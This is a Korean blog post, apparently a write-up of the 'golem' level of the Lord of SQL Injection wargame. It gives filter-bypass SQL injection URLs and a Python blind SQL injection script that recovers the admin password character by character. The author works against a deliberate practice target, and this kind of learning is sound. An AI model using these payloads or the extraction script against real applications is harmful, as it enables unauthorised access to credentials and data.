cgy12306

[LOS] golem 본문

Wargame/LOS

[LOS] golem

cgy12306 2019. 8. 23. 12:58

소스코드를 보면 _ . ( ) 문자를 필터링하고, or and substr = 도 필터링을 한다.

=는 like로 우회가 가능하다. 또 substr은 mid, left, rignt 함수로 우회가 가능하다.

우선 패스워드의 길이를 먼저 알아내 보자.

https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id like 'admin' %26%26 length%28pw%29 like '8

위 처럼 입력을 하게 되면 Hello admin을 볼 수 있다. 

비밀번호는 8글자이다.


우리는 참이면 Hello admin이 뜨는 것을 알 수 있으니 blind sql injection을 사용할 수 있다.



import requests

arry=[]

cookies = {'__cfduid': '', 'PHPSESSID' : ''}
    
for k in range(1,9):
    for j in range(32,127):
        res = requests.get(url="https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            print(k,' : ', j, "O")
                
            arry.append(chr(j))

            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)


비밀번호는 88e3137f이다.
https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=88e3137f
입력하게 되면 


https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id %3d 'admin' %26%26 length%28pw%29 %3d '8


'Wargame > LOS' 카테고리의 다른 글

[LOS] bugbear  (0) 2019.08.23
[LOS] darkknight  (0) 2019.08.23
[LOS] skeleton  (0) 2019.08.13
[LOS] vampire  (0) 2019.08.13
[LOS] troll  (0) 2019.08.13
Comments